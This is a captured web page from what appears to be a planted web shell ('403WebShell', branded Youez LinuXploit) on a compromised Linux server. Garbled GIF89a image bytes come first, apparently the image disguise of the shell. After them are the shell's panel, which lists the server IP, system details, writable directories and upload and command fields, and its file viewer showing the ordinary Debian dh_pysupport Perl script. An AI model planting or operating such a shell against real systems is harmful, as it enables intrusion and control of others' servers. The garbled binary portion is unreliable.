GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus03 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/bin/dh_pysupport
#!/usr/bin/perl -w

=head1 NAME

dh_pysupport - use the python-support framework to handle Python modules

=cut

use strict;
use File::Find;
use Debian::Debhelper::Dh_Lib;

=head1 SYNOPSIS

B<dh_pysupport> [I<debhelper options>] [-V I<X.Y>] [-X I<item> [...]] [-n] [I<module dirs ...>]

=head1 DESCRIPTION

dh_pysupport is a debhelper program that will scan your package, detect
public modules in I</usr/lib/pythonX.Y/site-packages>, and move them to 
the shared Python modules location. It will generate appropriate
postinst/prerm scripts to byte-compile modules installed there for all
available python versions.

It will also look for private Python modules and will byte-compile them
with the current Python version. You may have to list the directories
containing private Python modules.

If a file named I<debian/pyversions> exists, it is used to determine the
python versions with which the package can work.

Appropriate dependencies on python-support, python and pythonI<X.Y> are
put in ${python:Depends}.  The ${python:Versions} and ${python:Provides} 
optional substitution variables are made available as well.

=head1 OPTIONS

=over 4

=item I<module dirs>

If your package installs private python modules in non-standard directories, you
can make dh_pysupport check those directories by passing their names on the
command line. By default, it will check /usr/lib/$PACKAGE,
/usr/share/$PACKAGE, /usr/lib/games/$PACKAGE and /usr/share/games/$PACKAGE

=item B<-n>, B<--noscripts>

Do not modify postinst/postrm scripts.

=item B<-d>

This option is deprecated.

=item B<-V> I<X.Y>

Force private modules to be bytecompiled with the specific I<X.Y> python version, regardless of the default python version on the system.

=item B<-X> I<item>, B<--exclude=>I<item>

Exclude files that contain "item" anywhere in their filename from being
taken into account to generate the python dependency. It also excludes 
them from byte-compilation. You may use this option multiple times to 
build up a list of things to exclude.

=back

=head1 CONFORMS TO

Python policy as of 2006-08-10

=cut

init();

sub next_minor_version {
    my $version = shift;
    # Handles 2.10 -> 2.11 gracefully
    my @items = split(/\./, $version);
    $items[1] += 1;
    $version = join(".", @items);
    return $version;
}

sub specified_deps_in_package {
	my $package = shift;
	my $curpackage = 0;
	my @deps = ();
	open (CONTROL, 'debian/control') || error("cannot read debian/control: $!\n");
	while (<CONTROL>) {
		chomp;
		s/\s+$//;
		if (/^Package:\s*(.*)$/ && $package eq $1) {
			$curpackage = 1;
		}
		if ($curpackage == 2) {
			if (/^\s+(.*)$/) {
				push @deps, split ",",$1;
				if ($1 !~ /,$/) {
					return @deps;
				}
			} else {
				return @deps;
			}
		}
		if ($curpackage && /^Python-Depends:\s*(.*)$/) {
			@deps = split ",",$1;
			if ($1 =~ /,$/) {
				$curpackage = 2;
			} else {
				return @deps;
			}
		}
	}
	return @deps;
}

sub trim {
	my $tmp = shift;
	$tmp =~ s/^\s+//;
	$tmp =~ s/\s+$//;
	return $tmp;
}

# The current default python version
my $default=`readlink /usr/bin/python`;
$default =~ s/^python//;
chomp $default;

# Versions supported by python-defaults
my @debian_pysupported = split(/ /, `/usr/bin/pyversions -sv`);
chomp @debian_pysupported;

my $privdir="/usr/share/python-support/private";
# All supported versions
my $allversions_string=`$privdir/parseversions --all`;
chomp $allversions_string;
my @allversions=split " ", $allversions_string;

if (! grep { $_ eq $default } @allversions) {
	error("Cannot detect default Python version");
}

# Use a specific version for private modules (doesn't affect public modules)
my $useversion;
if($dh{V_FLAG_SET}) {
	$useversion = $dh{V_FLAG};
	if (! grep { $_ eq $useversion } @allversions) {
		error("Unknown python version $useversion");
	}
}

foreach my $package (@{$dh{DOPACKAGES}}) {
	next if ($package =~ /^python3-/); # ignore Python 3 packages
	my $tmp = tmpdir($package);
	my $need_pydep=0; # This variable tells whether we need a Python dependency
	                  # regardless of the rest
	my $have_pydep=0; # This variable tells whether we have added some dependency
			  # on python one way or another.
	my @specified_deps = specified_deps_in_package ($package);
	my $do_scripts = "";
	
	# 1) Handle public python modules
	# Move them to the python-support directories
	my $verfile = "debian/pyversions";
	my $versions = "";
	if (open (VERFILE, $verfile)) {
	    # read first non-empty line
	    local $/ = "";
	    $versions = <VERFILE>;
	    chomp $versions;
	    close (VERFILE);
	    $versions = trim $versions;
	    # TODO: debian/package.pyversions ?
	} else {
	    my $doko_versions=`$privdir/parseversions --raw --pycentral debian/control`;
	    chomp $doko_versions;
	    if ($doko_versions !~ /not found/) {
	        $versions=$doko_versions;
	    }
	}
	if ($versions) {
	    doit (("$privdir/movemodules","-V", $versions, $tmp))
	} else {
	    doit (("$privdir/movemodules",$tmp));
	}

	# Then look for what the script found
	foreach my $list_file (glob("$tmp/usr/share/python-support/*.public")) {
		if (-f $list_file) {
		        my $supported=`$privdir/parseversions --minmax $list_file`;

        		# Add the packages explicitly asked by the maintainer
        		foreach my $dep (@specified_deps) {
        			$dep = trim $dep;
        			addsubstvar($package, "python:Depends", $dep);
        		}
        		my @ar=split "\n",$supported;
        		my @provides=split " ",$ar[0];
        		foreach my $pyversion (@provides) {
        			# Skip the substvars part for versions that might not
        			# be provided by packages depended upon.
        			next if (! grep { $_ eq $pyversion } @debian_pysupported);

        			# Generate the useless versions field
        			addsubstvar($package, "python:Versions", $pyversion);
        			# ... and the provides field
				if ($package =~ /^python-/) {
	        			my $virtual = $package;
					$virtual =~ s/^python-/python$pyversion-/;
					addsubstvar($package, "python:Provides", $virtual);
	        		}
	        		# Use the provides fields in packages dependended upon
	        		foreach my $dep (@specified_deps) {
					$dep = trim $dep;
	        			# I have no idea why this wouldn't be the case, but well
	        			if ($dep =~ /^python-(\S+)/) {
	        				addsubstvar($package, "python:Depends", "python$pyversion-$1");
	        			}
	        		}
        		}
       			my @minmax=split " ",$ar[1];
       			my $minversion=$minmax[0];
        		if ( grep { $_ eq $default } @provides ) {
        			# The default version is in the supported versions
	        		if ($minversion ne "None") {
		        		addsubstvar($package, "python:Depends", "python (>= $minversion)");
					$have_pydep=1;
		        	}
		        } elsif ($minversion ne "None") {
		        	# The default version is less than all supported versions
		        	addsubstvar($package, "python:Depends", "python (>= $minversion) | python$minversion");
				$have_pydep=1;
		        } else {
		        	error("The default python version is greater than all supported versions");
		        }
        		my $maxversion=$minmax[1];
        		if ($maxversion ne "None") {
				$maxversion = next_minor_version($maxversion);
				addsubstvar($package, "python:Depends", "python (<< $maxversion)");
				$have_pydep=1;
			}
			$list_file =~ s,^.*/,,;
			$do_scripts = "$do_scripts $list_file";
			
			$need_pydep = 1;
		}
	}

        # 2) Look for private python modules
	my @dirs = ("/usr/lib/$package", "/usr/share/$package",
		    "/usr/lib/games/$package", "/usr/share/games/$package", @ARGV );
	@dirs = grep -d, map "$tmp$_", @dirs;
        my @filelist;
        my $file;
        my $has_module = 0;
        my $has_extension = 0;
        my $strong_pydep=0;
	my %need_verdep = ();
	foreach (@allversions) {
		$need_verdep{$_} = 0;
	}
        if (@dirs) {
                foreach my $curdir (@dirs) {
                        find sub {
                                return unless -f;
                                return if excludefile($File::Find::name);
                                if (/\.py$/) {
                                	$has_module=1;
                                	doit(("rm","-f",$_."c",$_."o"));
                                	( $file=$File::Find::name ) =~ s%^$tmp%%;
                                	if (! grep { $_ eq $file } @filelist) {
                                	    push @filelist, $file;
                                	}
                                }
                                if (/\.so$/ &&
                                    `nm -Du "$_" | grep "U Py_InitModule"` &&
                                    ! `objdump -p "$_" | grep "NEEDED *libpython"`) {
                                	$has_extension=1;
                                }
                        }, $curdir ;
                }
        }

        if ( ($has_module or $has_extension) ) {
                if ( $useversion ) {
                	$need_verdep{$useversion}=1;
                } else {
                	$need_pydep=1;
                	$strong_pydep=1 if $has_extension;
                }
        }

	if (@filelist) {
		# We have private python modules
		# Use python-support to ensure that they are always
		# byte-compiled for the current version
		doit("mkdir", "-p", "-m", "755", "$tmp/usr/share/python-support");
		open(FILELIST, "> $tmp/usr/share/python-support/$package.private") ||
		    error("Can't create $tmp/usr/share/python-support/$package.private: $!");
		if ( $useversion ) {
		        print FILELIST "pyversion=$useversion\n\n";
		}
		print FILELIST map "$_\n", @filelist;
		close(FILELIST);
		$do_scripts = "$do_scripts $package.private";
	}

	# 3) Add python-support dependency depending on what we found
	if (-d "$tmp/usr/share/python-support") {
	        addsubstvar($package, "python:Depends", "python-support (>= 0.90.0)");
	}

       	# 4) Look for python scripts
       	find sub {
		return unless -f and -x;
		return if excludefile($File::Find::name);
		local *F;
       		return unless open F, $_;
		if (read F, local $_, 32 and m%^#!\s*/usr/bin/(env\s+)?(python(\d+\.\d+)?)\s%) {
       			if ( "python" eq $2 ) {
				$need_pydep=1;
       			} elsif (defined $need_verdep{$3}) {
       				$need_verdep{$3}=1;
       			}
       		}
       		close F;
       	}, $tmp;
       	
       	# 5) Generate remaining dependencies
       	foreach my $version (@allversions) {
       		if ($need_verdep{$version}) {
       			addsubstvar($package, "python:Depends", "python$version");
       		}
       	}
       	if (not $have_pydep) {
       		if ($strong_pydep) {
       			addsubstvar($package, "python:Depends", "python (>= $default)");
       			my $maxversion = next_minor_version($default);
       			addsubstvar($package, "python:Depends", "python (<< $maxversion)");
       			$have_pydep=1;
       		} elsif ($need_pydep and $versions) {
	       		my $supported=`echo $versions | $privdir/parseversions --minmax`;
       			my @ar=split "\n",$supported;
       			my @minmax=split " ",$ar[1];
	        	my $minversion=$minmax[0];
	        	if ($minversion ne "None") {
        			addsubstvar($package, "python:Depends", "python (>= $minversion)");
        			$have_pydep=1;
			}
			my $maxversion=$minmax[1];
		        if ($maxversion ne "None") {
				$maxversion = next_minor_version($maxversion);
				addsubstvar($package, "python:Depends", "python (<< $maxversion)");
				$have_pydep=1;
			}
       		}
       	}
       	# If nothing has added a python dependency yet, add it
	if ($need_pydep and not $have_pydep) {
	       	addsubstvar($package, "python:Depends", "python");
	}
	
	# 6) Generate the scripts
	if ($do_scripts && ! $dh{NOSCRIPTS}) {
		autoscript($package, "postinst", "postinst-python-support", "s,#ARGS#,$do_scripts,");
		autoscript($package, "prerm",    "prerm-python-support",    "s,#ARGS#,$do_scripts,");
	}
}

=head1 SEE ALSO

L<debhelper(7)>

This program is a part of python-support but is made to work with debhelper.

=head1 AUTHORS

Josselin Mouette <joss@debian.org>,
Raphael Hertzog <hertzog@debian.org>

=cut

Youez - 2016 - github.com/yon3zu
LinuXploit